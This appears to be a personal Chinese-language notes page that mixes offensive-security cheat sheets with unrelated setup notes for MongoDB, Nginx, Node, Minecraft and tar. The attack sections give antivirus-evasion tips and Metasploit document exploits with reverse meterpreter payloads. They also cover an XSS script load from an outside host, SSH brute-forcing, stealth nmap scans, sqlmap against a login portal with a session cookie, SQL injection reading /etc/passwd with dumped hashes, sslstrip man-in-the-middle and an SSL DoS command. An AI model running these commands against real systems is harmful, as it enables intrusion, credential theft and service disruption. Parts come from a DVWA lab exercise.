======================================================================================
# 关于免杀:
编码、加壳效果不如修改特征码
加壳:upx -6 -o [output] [input file]
特征码修改:
UltraEdit:1、十六进制直接修改,即加1处理 2、字符串大小写修改,大小写互换
3、等价代替,特征码对应的汇编命令替换成功能类似的 4、指令顺序调换。 5、通用跳转法,把特征码处的指令跳转走。
U盘攻击:hacksaw、swichblade……
======================================================================================
# 针对win7以下,office2010以下的office rtf文件 MS10-087漏洞:
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
set payload windows/exec
set CMD calc.exe 打开计算器
set FILENAME [filename.rtf]
exploit
======================================================================================
autopwn:针对ie6以下、ie7
======================================================================================
adobe pdf利用:版本<9.3.4
use windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_http
set lhost [IP]
set lport [PORT]
set filename [name.pdf]

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost [IP]
set lport [PORT]
exploit
======================================================================================
# XSS:
<script>alert('XSS')</script>
<script/xss src="http://ha.ckers.org/xss.js></script>
======================================================================================
# msf-xssf:
load xssf
xssf_urls
======================================================================================
======================================================================================
# 经典漏洞:
MS06-040/MS07-029/MS08-067/MS11-058/MS12-020/MS04-011
======================================================================================
# 可执行文件转vbs:
cd /usr/share/metasploit-framework/tools/exploit
ruby exe2vba.rb ~/attack.exe attack.vbs
======================================================================================
# PowerShell:
use exploit/multi/script/web_delivery
show options...
监听器:use exploit/windows
set srvhost <IP>
set lhost <IP>
set uripath boom
exploit
======================================================================================
# msf暴力猜解网页目录:dir_scanner brute_firs dir_listing
use auxiliary/scanner/http/dir_scanner
set Threads 50
set rhosts [host]
exploit
!:部分网站在根目录有robot.txt 说明那些目录不该抓取。
======================================================================================
# msf收集E-mail邮件地址:
use auxiliary/gather/search_email_collector
set domain altoromutual.com
run
======================================================================================
# msf对端口的扫描:
search portscan
ack:ACK扫描对防火墙上未被屏蔽的端口
ftpbounce:对Tcp服务进行枚举
syn:SYN探测
tcp:完整的TCP链接来判断,准确但用时长
xmas:更为隐秘!隐蔽,但是用时更长 发送FIN、PSH、URG,躲避高级的TCP标记检测器的过滤
======================================================================================
# msf探测Telnet
use auxiliary/scanner/telnet/telnet_version
set rhosts/threads
run
======================================================================================
# msf探测SSH服务
use auxiliary/scanner/ssh/ssh_version
set rhosts/threads
run
======================================================================================
# msf开放代理探测与利用:
use auxiliary/scanner/http/open_proxy
set site www.google.com
set rhost 24.25.24.1-24.25.26.254
set multiports true
set verify_connect true
set threads 100
run
!公开搜集的代理服务器安全级别低,最好是能自己搭建VPN openVpn
======================================================================================
# msf-SSH口令猜测:
use auxiliary/scanner/ssh/ssh_login
set rhosts
set username root
set pass_file [Path]
set threads 50
run
======================================================================================
# msf-psnuffle口令嗅探:
use auxiliary/sniffer/psnuffle
run
用于截获常见协议的明文密码
======================================================================================
# msf中的nmap 脚本:/opt/metasploit/common/share/nmap/scripts
如:MS08-067:
nmap -P0 --script=smb-check-vulns [IP]
======================================================================================
# msf中使用sqlmap:
use auxiliary/scanner/http/sqlmap
======================================================================================
# msf-wmap web扫描:
load wmap
help
wmap_sites -a [URL] 扫描的网站
wmap_sites -l
wmap_targets -t [URL] 扫描的目标
wmap_run -t 将使用到的模块
wmap_run -e 查看结果
vulns 显示漏洞
======================================================================================
# msf探测主机是否存活:
arp_sweep ipv6_multicast_ping ipv6_neighbor ipv6_neighbor_router_advertisement udp_probe upd_sweep
use use auxiliary/scanner/discovery/arp_sweep
set rhosts
set threads
run
======================================================================================
# 关于iphone:
越狱的iPhone常有默认22端口开放以及默认口令:root/alpine moblie/dottie
msf中:
use exploit/apple_ios/ssh/cydia_default_ssh
show payloads
set payload cmd/unix/interact
set rhost [target IP]
set lhost [IP]
exploit
======================================================================================
# 利用苹果备份:
run post/multi/gather/apple_ios_backup
如果显示失败,请更新最新payload:
apple_ios_backup.rb放置于/opt/metasploit/msf3/modules/post/multi/gather/
apple_backup_manifestdb.rb放置于/opt/metasploit/msf3/lib/rex/parser/
run post/multi/gather/apple_ios_backup
如果有文件发现,储存在~/.msf4/loot/*.db
======================================================================================

Minecraft——我的世界(Java)

1
2
3
4
5
6
7
PC:下载HMCL起动器即可
Android:下载FCL起动器即可(https://github.com/FCL-Team/FoldCraftLauncher)

Java:https://adoptium.net/zh-CN/

mod搜索: https://files.xmdhs.com/curseforge
其他论坛: https://www.9minecraft.net/
自用Mod

其他Mod

自用资源包

其他资源包

自用光影

Mongo DB

https://www.mongodb.com/docs/manual/tutorial/install-mongodb-on-debian/#std-label-install-mdb-community-debian

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
## 安装(bullseye为例)
# 卸载仓库里的
sudo apt remove mongodb mongodb-org
sudo apt-get install gnupg curl
curl -fsSL https://www.mongodb.org/static/pgp/server-7.0.asc | \
sudo gpg -o /usr/share/keyrings/mongodb-server-7.0.gpg \
--dearmor
echo "deb [ signed-by=/usr/share/keyrings/mongodb-server-7.0.gpg ] http://repo.mongodb.org/apt/debian bullseye/mongodb-org/7.0 main" | sudo tee /etc/apt/sources.list.d/mongodb-org-7.0.list
sudo apt-get update
sudo apt-get install -y mongodb-org
# 防止apt意外升级:
echo "mongodb-org hold" | sudo dpkg --set-selections
echo "mongodb-org-database hold" | sudo dpkg --set-selections
echo "mongodb-org-server hold" | sudo dpkg --set-selections
echo "mongodb-mongosh hold" | sudo dpkg --set-selections
echo "mongodb-org-mongos hold" | sudo dpkg --set-selections
echo "mongodb-org-tools hold" | sudo dpkg --set-selections


## 安装完毕,解除ulimit限制:大多数类Unix操作系统限制了该系统的资源, 过程可以使用。 这些限制可能会产生负面影响MongoDB操作, 应该进行调整。 见 UNIX ulimit 设置 中推荐的 设置的平台。
解决参考:https://www.mongodb.com/docs/manual/reference/ulimit/
注意:Starting in MongoDB 4.4, a startup error is generated if the ulimit value for number of open files is under 64000.

## Nginx反向代理
注意:mongodb无法直接使用nginx代理,所以需要部署一个后端,操作mongo
结构:
MongoDB —— 后端 —— 用户

Nautilus

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
转载自:https://blog.michitsoft.com/2020/04/nautilus-gnome.html
Nautilus - Gnome 檔案總管快捷鍵清單
一般功能
Ctrl + N => 新增視窗
Ctrl + W => 關閉視窗或分頁
Ctrl + F => 搜尋
Ctrl + D => 將目前位置加入 Bookmark

分頁功能
Ctrl + T => 新增分頁
Ctrl + Page_Up => 移至上個分頁
Ctrl + Page_Down => 移至下個分頁
Alt + 0 ~ 8 => 開啟分頁

Navigate
Alt + 左鍵 => 返回前一層
Alt + 右鍵 => 向前
Alt + 上鍵 => 上一層
Alt + 下鍵 => 下一層
Alt + Home => 回到 user home
Ctrl + L => 輸入位置 (想複製和快速切換路徑時使用)

顯示
Ctrl + H => 顯示/隱藏檔案 (快速檢視隱藏檔)
F9 => 顯示/隱藏側邊欄
F10 => 顯示/隱藏動作選單
Ctrl + 1 => 列表檢視
Ctrl + 2 => 方格檢視
Space => 快速檢視檔案 (超級方便,MAC下也有這功能)

編輯功能
Shift + Ctrl + N => 建立資料夾
F2 => 重新命名
Ctrl + I / Alt + Enter => 顯示檔案屬性

NCrack

1
2
# 尝试破解RDP
ncrack -vv -U user.txt -P password.txt 192.168.1.1:3389

Nginx

1
2
3
4
5
6
7
sudo apt install curl gnupg2 ca-certificates lsb-release
echo "deb http://nginx.org/packages/debian `lsb_release -cs` nginx" \
| sudo tee /etc/apt/sources.list.d/nginx.list
curl -fsSL https://nginx.org/keys/nginx_signing.key | sudo apt-key add -
sudo apt-key fingerprint ABF5BD827BD9BF62
sudo apt update
sudo apt install nginx
Nginx读取非html扩展名的文件为网页
1
2
3
4
5
6
7
8
9
10
11
12
location /jitsi-docs-zh-cn/handbook/docs/ {
try_files $uri $uri/ =404;

# 将无扩展名文件视为 HTML
default_type text/html;
}
或者例外
# 匹配特定的无扩展名文件,如 "intro"
location ~* /jitsi-docs-zh-cn/handbook/docs/(intro|anotherfile) {
default_type text/html;
try_files $uri =404;
}

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
# nmap最小化隐形扫描:
nmap --spoof-mac-Cisco --data-length 24 -T paranoid --mac-hostgroup 1 --max-parallelism 10 -PN -f -D 10.1.20.5,RND:5,ME --v -n -sS -sV -oA /desktop/pentest/nmap/out -p T:1-1024 --random-hosts 10.1.1.10 10.1.1.15

注释: --spoof-mac-Cisco:伪造Cisco产品MAC地址,随机MAC可用--spoof-mac-0
--data-length 24:大多数正在发送的数据包附加24字节随机数据
-T paranoid:将时间设置为最慢
--max-hostgroup:限制主机在某个时间被扫描
--max-parallelism:限制发送的有效探针数,可以使用--scan-delay 设置两个探针之间的停顿;然而此选项与--max-parallelism不兼容
-Pn:不使用Ping命令探测
-f:磁片的数据包,这将经常愚弄低端用户和不正确配置的入侵检测系统
-D 10.1.20.5,RND:5,ME:创建诱饵扫描,与攻击者的扫描同时运行,隐藏实际攻击
-n:没有DNS解析;内部或外部DNS服务器,不响应通过nmap提交的DNS信息查询。
-sS:隐形的TCP SYN扫描
-sV:启用版本检测
-oA /desktop/pentest/nmap/out:将结果输出为……
-p T:1-1024:扫描指定的TCP端口
--random-hosts:随机化目标主机次序
其他: nmap脚本用LUA脚本语言(apt-get install lua5.1
-PR:同网段使用ARP进行扫描
--top-ports n:n为数字,使用频率最高的n个端口
nmap扫描ms08_067漏洞:
nmap -sV -p - --script vuln --script-args unsafe 192.168.169.132
ping扫描:
nmap -sP 192.168.1.0/24
ARP扫描:
nmap -v -sn 192.168.1.0/24
nmap -v -PR 192.168.1.0/24
nmap扫描SMB强制攻击:
nmap --script smb-enum-users.nse -p 445 192.168.1.1
nmap扫描web防火墙:
nmap -p 80 --script http-waf-detect.nse www.baidu.com
nmap枚举支持加密协议的脚本/检测该版本RDP漏洞:
nmap -p 3389 --script rdp-enum-encryption 192.168.1.1
nmap -p 3389 -sV --script rdp-vuln-ms12-020 192.168.1.1

nmap的SSL脚本:
ssl-cert:获取服务器的SSL证书。信息的返回数量取决于冗长的水平(空、-v、-V)。
ssl-date:从TLS服务器的hello响应中获取目标主机的时间和日期。
ssl-enum-ciphers:重复启动SSL和TLS链接,每一次尝试一个新的密码,并对主机的接受或拒绝进行记录。密码强度由强率表示,这是一个高度侵入式扫描,可能被目标阻塞。
ssl-google-cert-catalog:谷歌证书目录从目标中检所属于SSL证书的信息,并提供最近如何持续时间以及谷歌已经知道的证书等信息,如果一个证书不被谷歌认可,他可能是假的。
ssl-known-key:使用的SSL证书已经被破解或错误密钥的数据库相匹配的指纹。目前它使用LittleBlackBox数据库,然而任何指纹数据库均可被使用。
sslv2:确定服务器是否支持使用安全性相对较弱的SSL版本2以及版本2所支持的密码。
nmap --script "ssl*" -p 443 <target IP>
nmap扫描恶意接入点:
nmap -A -p 1-85,113,443,8080-8100 -T4 --min-hostgroup 50 --max-rtt-timeout 2000m --initial-rtt-timeout 300m --max-retries 3 --host-timeout 20m --max-scan-delay 1000s -oA wapscan 10.128.128.0/18

nmap -A -p 1-85,113,443,8080-8100 -T4 -min-hostgroup 50 -max-rtt-timeout 2000ms -initial-rtt-timeout 300ms -max-retries 3 -host-timeout 20m -max-scan-delay 1000ms -oA /home/jessie/wapscan 10.129.0.1/16

# 扫描局域网Conficker蠕虫病毒:
nmap -PN -T4 -p 139,445 -n -v --script=smb-check-vulns --script-args safe=1 10.128.128.1-10.128.128.200
诱饵扫描:
nmap -D RND:10 192.168.3.5
nmap -D decoy1,decoy2,decoy 192.168.3.5
nmap -PO -sI zombie 192.168.3.5
选择source port:
nmap --source-port 80 192.168.3.5
改变数据长度:
nmap --data-length 256 192.168.3.5
随机顺序扫描目标:
nmap --randomize-hosts 10.128.128.1/24
发送错误效验:
nmap --badsum 192.168.3.5
SSL后处理器扫描:
nmap -Pn -sSV -T4 -F 192.168.3.5
扫描开放的HTTP代理:
nmap --script http-open-proxy -p 8080 192.168.3.5
发现有趣的WEB文件目录和管理员账户:
nmap --script http-enum -p 80 192.168.3.5
测试默认凭据:
nmap -p 80 --script http-default-accounts 192.168.3.5
word-press审计:
nmap -p 80 --script http-wordpress-brute 192.168.3.5
Joomla审计(cms):
nmap -p 80 --script http-joomla-brute 192.168.3.5
检测SQL注入:
nmap -p 80 --script http-sql-injection 192.168.3.5

nmap --script-help=[script-name]
显示脚本帮助

# 查找SMB会话:
nmap --script smb-enum-users.nse -p 445 192.168.1.1

# ARP广播扫描:
nmap -v -sn 192.168.1.0/24

# ping扫描:
nmap -sP 192.168.1.0/24
for i in {1..254}; do ping -c 1 10.10.0.$i | grep 'from'; done

nmap -sn [IP] 直接采用ping探测存活
nmap -sn -PU [IP] 仅用UDP探测主机是否存活,不进行扫描

nmap -sT/-sS/-sF -sX -sN/-sP/-sU/-sA:TCP扫描、SYN扫描、用于躲避监控、PING检测、探测开放哪些UDP端口、TCP ACK扫描
其他:-F:快速扫描是扫描在nmap-services中列出的

Nodejs(nvm)——Node Version Manager

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# installs nvm (Node Version Manager)
curl -o- https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.0/install.sh | bash

# download and install Node.js (you may need to restart the terminal)
nvm install 20

# verifies the right Node.js version is in the environment
node -v # should print `v20.18.0`

# verifies the right npm version is in the environment
npm -v # should print `10.8.2`

# 设置nvm镜像
export NVM_NODEJS_ORG_MIRROR=npmmirror.com

# 设置npm镜像
npm config set registry https://registry.npmmirror.com/

Openvas——漏洞扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
apt-get install openvas

# openvas配置:
openvasmd -user=admin -new -password=admin
https://localhost:9392

可能遇到的错误:openvas:SecInfo Database Missing
解决方法:
sudo wget https://scm.wald.intevation.org/svn/openvas/trunk/openvas-manager/tools/cert_db_init.sql --no-check-certificate

sudo wget https://scm.wald.intevation.org/svn/openvas/trunk/openvas-manager/tools/dfn_cert_getbyname.xsl --no-check-certificate

sudo wget https://scm.wald.intevation.org/svn/openvas/trunk/openvas-manager/tools/dfn_cert_update.xsl --no-check-certificate

首先下载三个文件,放到/usr/share/openvas/cert/目录下面
openvas-certdata-sync

更新后重启openvas-scanner服务
/etc/init.d/openvas-scanner restart

Osdlyrics——Linux歌词

1
2
3
4
5
6
7
8
9
1.Gtk-Message: Failed to load module "canberra-gtk-module"
https://askubuntu.com/questions/208431/failed-to-load-module-canberra-gtk-module
解决:sudo apt-get install libcanberra-gtk-module
如果不行就:sudo apt-get install libcanberra-gtk-module:i386
2.Error: in function _start_daemon_cb: ol_main.c[768]
Unable to start daemon: GDBus.Error:org.freedesktop.DBus.Error.Spawn.ChildExited: Process org.osdlyrics.Daemon exited with status 1
https://github.com/osdlyrics/osdlyrics/issues/75
解决:如果是Debian12,因为Python隔离,要单独安装:
sudo apt install python3-future python3-pycurl

Postgres

1
2
3
4
5
6
常用端口:5432\5433\5434 每更新一次可能产生一个cluster,每个cluster一个端口。
su - postgres 进入postgres数据库
createdb -T template0 -E UTF-8 -0 [user] [dbname] 以temp0为模板建立数据库
createuser\dropuser\dropdb
psql -h localhost -U [user] [dbname] 链接数据库
pg_lsclusters 查看cluster

Pwgen——Linux随机密码生成

1
2
# 生成10位随机密码
pwgen 10

Realtek-rtl88xxau-dkms

1
apt-get install realtek-rtl88xxau-dkms

RPC Client

1
2
# RPC探测:
rpcclient -U "vagrant" 192.168.0.129

Scrot——命令行截图工具

1
2
3
4
5
# ssh中如何截屏:https://askubuntu.com/questions/921355/giblib-error-cant-open-x-display-on-ubuntu-14-04
SSH中直接运行报错:
giblib error: Can't open X display. It *is* running, yeah?
解决:指定DISPLAY=:0
DISPLAY=:0 scrot 1.png

SMB Client

1
2
3
4
5
6
7
8
9
10
11
# 查找网络共享:
smbclient -I 192.168.1.23 -L administrator -N -U ""
enum4linux.pl [options] targetIP
-U:获取用户列表
-M:获取机器列表
-S:获取共享列表
-P:获取密码策略信息
-G:获取组和成员列表
-d:详细的说明
-u user:用户名,默认“”
-p pass:密码,默认“”

SNMP Walk

1
2
# SNMP扫描:
snmpwalk -c public 192.168.1.0/24

SPARTA

1
2
3
# SPARTA 将nikto配置为端口操作:
将下面添加到sparta.conf中的[PortActions]
nikto=run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP], "http,https"

SQL Map

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
sqlmap -u 'URL-referer+actions' --cookie=''
e.g.:sqlmap -u 'http://192.168.3.5/srun_portal_pc.php?ac_id=1&action=login&username=2220166020323131&password=3213231&ac_id=1&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' --cookie='login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroZs3kCjs%252BqsjfkW%252FrykDPYDAINXzhHVAh6Ok5vz2r1RnWcbQxmMyf1%252Br1yJ26ksGLbnabOKcyfwljyAiWinG5MbEFn7UXXuaDgzeir5Ro07%252F2lUhGkrmlyqqeedfWX4mGyYDhq2SwcqhbJFtB81GaO6ODn%252Bz%252FPyjRsPjrlHc1JnbH1w%253D%253D' --dbs -v 0
--dbs可以识别数据库平台类型,查询数据库名
sqlmap -u 'http://192.168.3.5/srun_portal_pc.php?ac_id=1&action=login&username=2220166020323131&password=3213231&ac_id=1&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' --cookie='login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroZs3kCjs%252BqsjfkW%252FrykDPYDAINXzhHVAh6Ok5vz2r1RnWcbQxmMyf1%252Br1yJ26ksGLbnabOKcyfwljyAiWinG5MbEFn7UXXuaDgzeir5Ro07%252F2lUhGkrmlyqqeedfWX4mGyYDhq2SwcqhbJFtB81GaO6ODn%252Bz%252FPyjRsPjrlHc1JnbH1w%253D%253D' -D [database name] --tables
--tables 获取表名
sqlmap -u 'http://192.168.3.5/srun_portal_pc.php?ac_id=1&action=login&username=2220166020323131&password=3213231&ac_id=1&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' --cookie='login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroZs3kCjs%252BqsjfkW%252FrykDPYDAINXzhHVAh6Ok5vz2r1RnWcbQxmMyf1%252Br1yJ26ksGLbnabOKcyfwljyAiWinG5MbEFn7UXXuaDgzeir5Ro07%252F2lUhGkrmlyqqeedfWX4mGyYDhq2SwcqhbJFtB81GaO6ODn%252Bz%252FPyjRsPjrlHc1JnbH1w%253D%253D' -D [database name] --tables -T users --columns
用于获取users字段列表
sqlmap -u 'http://192.168.3.5/srun_portal_pc.php?ac_id=1&action=login&username=2220166020323131&password=3213231&ac_id=1&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' --cookie='login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcroZs3kCjs%252BqsjfkW%252FrykDPYDAINXzhHVAh6Ok5vz2r1RnWcbQxmMyf1%252Br1yJ26ksGLbnabOKcyfwljyAiWinG5MbEFn7UXXuaDgzeir5Ro07%252F2lUhGkrmlyqqeedfWX4mGyYDhq2SwcqhbJFtB81GaO6ODn%252Bz%252FPyjRsPjrlHc1JnbH1w%253D%253D' -D [db name] --tables -T users -columns -dump
导出,拖库
此外SQLmap还可用于shell处理

# 网页sql注入:
[URL]=xxx/view.php?xxx=
所以[URL]1 and 1=2 可以正常查询,则可能存在漏洞
[URL]9999' 显示……near ’/‘ ……说明’可能被过滤成 / 了
所以直接用union语句猜想:
[URL]1 and 1=2 union select 1,2,3,4,5,6,7--
直到猜想正确,假设为20
其中7,8,12能显示于页面
在通过select语句:
[URL]1%20and%201=2%20union%20select%201,2,3,4,5,6,version(),database(),9,10,11,user(),13,14,15,16,17,18,19,20%20from%20news%20where%201=1
注:URL编码表%20 是(空格) %28是( %29是)
1 and 1=2 union select 1,2,3,4,5,6,version(),database(),9,10,11,user(),13,14,15,16,17,18,19,20 from news where 1=1
然后查询information——schema
[URL]1 and 1=2 union select 1,2,3,4,5,6,version(),database(),9,10,11,user(),13,group_concat{(}table_name{)},15,16,17,18,19,20 from information_cshema.tables where table_schema=database{()}--
以上空格以及{}内的要用URL编码表中代替,group_concat()使每一项都横向输出 ,假设查到表有Bangladesh_nfb
[URL]1 and 1=2 union select 1,2,3,4,5,6,version{()},database{()},9,10,11,user{()},13,group_concat{(}columns_name{)},15,16,17,18,19,20 from information_shcema.columns where table_name=0x6e657773--
0x6e657773是news的十六进制处理,避免字符过滤
最后使用SQL中的load_file函数找找主机passwd文件,甚至shadow文件
[URL]999999.9/**/UNION/**/ALL/**/SELECT/**/concat{(}0x27,{(}select/**/load_file{(}0x2F6574632F706173737764{)))},1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--
0x2F6574632F706173737764 经过十六进制编码解密 得到 /etc/passwd 0x27:' 0x是十六进制的前缀

# 利用SQL猜解表名:
[URL]1是正确页面
[URL]1 and length(database())>{11}
{}内是猜想数字,先猜出长度,假设长度11
[URL]1 and ascii(substring(database(),1,1))>{97}
如果97正确,98错误,则第一个字节是98 == b,以此类推
猜解表数:
[URL]1 and (SELECT count(TABLE_NAME) FROM INFORMATION_SCHEMA.TABLES where table_schema=database())>14
尝试到15时可知有15个表;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
# SQL 注入简单示例:
正常查询:select [列] from [表] where ID=?

异常:输入< or 1=1>构造select [列] or 1=1 from [表] where ID=?
输入{1'}无反应,说明可能要输入{'1''}
输入{' or 1=1 '}
可能:You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '''' at line 1

输入{' or 1=1 --'}构造< or 1=1>构造select [列] or 1=1 -- from [表] where ID=?
--是注释符号,注释掉后半句
以行的形式输出:使用concat()函数:输入{'union select 1--'}
返回:The used SELECT statements have a different number of columns.是因为不同unionselect子句列数要一致。

所以:{'union select 1,2--'}正确说明数据有两列也可以是:'union select 12,23--'
Select [columns] from [table] where criteria = [criteria] or union select 1 --
返回: ID: 'union select 12,23--'
First name: 12
Surname: 23

# 然后:输入{' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '}查询系统表每一个表名字和每一列名字
======================================================================================
ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: ALL_PLUGINS

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: APPLICABLE_ROLES

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: CHARACTER_SETS

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: CHECK_CONSTRAINTS

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: COLLATIONS

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: ' Union select 1, table_name from INFORMATION_SCHEMA.tables-- '
First name: 1
Surname: COLUMNS
======================================================================================

# 然后:输入{' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '}查看user表中的内容
======================================================================================
ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: user_id

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: first_name

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: last_name

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: user

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: password

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: avatar

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: last_login

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: failed_login

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: CURRENT_CONNECTIONS

ID: ' Union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '
First name: 1
Surname: TOTAL_CONNECTIONS
======================================================================================

# 然后:{' Union select null, password from users -- '}显示密码
======================================================================================
ID: ' Union select null, password from users -- '
First name:
Surname: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ' Union select null, password from users -- '
First name:
Surname: e99a18c428cb38d5f260853678922e03

ID: ' Union select null, password from users -- '
First name:
Surname: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ' Union select null, password from users -- '
First name:
Surname: 0d107d09f5bbe40cade3de5c71e9e9b7
======================================================================================

# 再{' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '}导出数据库
======================================================================================
ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: admin admin admin

ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: e99a18c428cb38d5f260853678922e03
Surname: Gordon Brown gordonb

ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: 8d3533d75ae2c3966d7e0d4fcc69216b
Surname: Hack Me 1337

ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: 0d107d09f5bbe40cade3de5c71e9e9b7
Surname: Pablo Picasso pablo

ID: ' Union select password, concat(first_name, ' ', last_name, ' ', user) from users -- '
First name: 5f4dcc3b5aa765d61d8327deb882cf99
Surname: Bob Smith smithy
======================================================================================
# 以上来源于DVWA-low security

SSL Strip

1
2
3
4
5
6
7
8
9
10
11
#sslstrip mitm:
设置端口转发:
echo "1" > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
sslstrip -l 5353
ettercap -TqM arp:remote //192.168.1.1// //192.168.1.11//
结束https降级后,禁用防火墙规则:
iptables -t nat -D PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 5353 -F
# 最后确认以下:
iptables -t nat -L
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
其他SSL工具:
sslcaudit:自动化测试ssl和tls客户端抵御中间人攻击的能力

sslscan:查询SSL服务来确定其支持何种密码,输出包括首选SSL密码和在文本及XML格式中显示的密码。

sslstrip:设计透明的网络。截获HTTP流量,关注HTTPS链接。重定向并将这些链接映射到欺骗的HTTP或HTTPS链接。他也支持模式提供一个图标,看起来像一个锁的图标以及截获通信的选择测性日志。

sslsplit:执行中间人攻击。通过一个网络地址转换器和对SSLSPLIT重定向。截获透明的网络连接到原始目的的链接同时记录所有的数据,它支持TCP、SSL、HTTP,https、ipv4和ipv6。

sslyze:分析服务器的SSL配置
======================================================================================
sslscan --no-failed 192.168.1.21
tlssled 192.168.1.1 443

SSL-DoS:
thc-ssl-dos 192.168.2.1 443

Supertuxkart

Linux开源赛车游戏

Tar

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
# 举例:

省流:czvf & xzvf

# 列出压缩包中的文件
$ tar tf xxx.tar.xz
===============================================
2022-02-18.png
2022-02-19.png
===============================================
$ tar tvf xxx.tar.xz
===============================================
-rwxrwxrwx jessie/jessie 659541 2022-02-18.png
